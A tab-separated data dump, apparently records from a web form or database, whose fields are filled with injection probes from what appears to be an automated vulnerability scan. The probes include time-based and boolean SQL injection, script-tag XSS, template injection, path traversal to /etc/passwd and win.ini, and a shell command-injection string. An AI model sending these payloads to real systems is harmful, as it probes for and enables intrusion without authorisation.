1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'""()&%<zzz><ScRiPt >IL0D(9789)</ScRiPt>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102'""()&%<zzz><ScRiPt >IL0D(9580)</ScRiPt>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1) OR 808=(SELECT 808 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	19202495	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU9345537	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"""+response.write(9951240*9790666)+"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	19315192	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1)) OR 671=(SELECT 671 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"""+response.write(9908638*9244695)+"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'+response.write(9908638*9244695)+'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	19424888
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	19962629	1	1	1	1	1	1	1	1	1	1
1	1	1	1*if(now()=sysdate(),sleep(15),0)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=26 or ""XWBjDI66""="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=25 or ""XWBjDI66""="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=26 or 'jdCMQpFe'='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=25 or 'jdCMQpFe'='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=26 -- "	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=25 -- "	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=26 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1rBBFjv9T' OR 400=(SELECT 400 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=25 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=26	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=25	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=26 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=25 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	19429915	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'<lHnv4>	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"""dfbzzzzzzzzbbbccccdddeeexca"".replace(""z"",""o"")"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	dfb__${98991*97996}__::.x	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	dfb[[${98991*97996}]]xca	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bfg9463%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9463	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU9272078	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >IL0D(9594)</ScRiPt>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU'""()&%<zzz><ScRiPt >IL0D(9020)</ScRiPt>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1k5jxZwLs	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	<!--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	<!--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	<!--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	<!--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	<!--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	<!--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1ekSUsSjY')) OR 370=(SELECT 370 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1eH4n6cAY') OR 407=(SELECT 407 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1)) OR 278=(SELECT 278 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1) OR 608=(SELECT 608 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1 OR 599=(SELECT 599 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1 waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1); waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1; waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1*if(now()=sysdate(),sleep(15),0)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""pvVEO8Nr""="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""pvVEO8Nr""="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 or 'HvNNrwhU'='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(select 198766*667891 from DUAL)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	dfb{{98991*97996}}xca	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"1}}""}}'}}1%>""%>'%><%={{={@{#{${dfb}}%>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"<th:t=""${dfb}#foreach"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	<%={{={@{#{${dfb}}%>	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=26 -- "	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1����%2527%2522\'\"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1'"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	1BG8N35KDR0	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1Z37OZPI80	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1HF8GACKA0	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	1SQK9LKTA0	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	1BF98GE2S60	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	10mHyvnzp' OR 953=(SELECT 953 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1nIpdNzae'; waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(select 198766*667891)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	@@rBNP2	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102����%2527%2522\'\"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102'"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102hgGqDTUn' OR 443=(SELECT 443 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102*if(now()=sysdate(),sleep(15),0)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=26 or 'VMwYgYVj'='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'""()&%<zzz><ScRiPt >V1xQ(9226)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=25 or 'VMwYgYVj'='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=26 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(select 198766*667891)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	@@4aJpd	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU����%2527%2522\'\"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU'"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUIybrIUyD')) OR 461=(SELECT 461 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU2VhzFAYw' OR 316=(SELECT 316 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=26 or ""6xzjIlhn""="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=25 or ""6xzjIlhn""="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=26 or 'jjcgSBHj'='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=25 or 'jjcgSBHj'='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"echo pnouxp$()\ nonqso\nz^xyu||a #' &echo pnouxp$()\ nonqso\nz^xyu||a #|"" &echo pnouxp$()\ nonqso\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
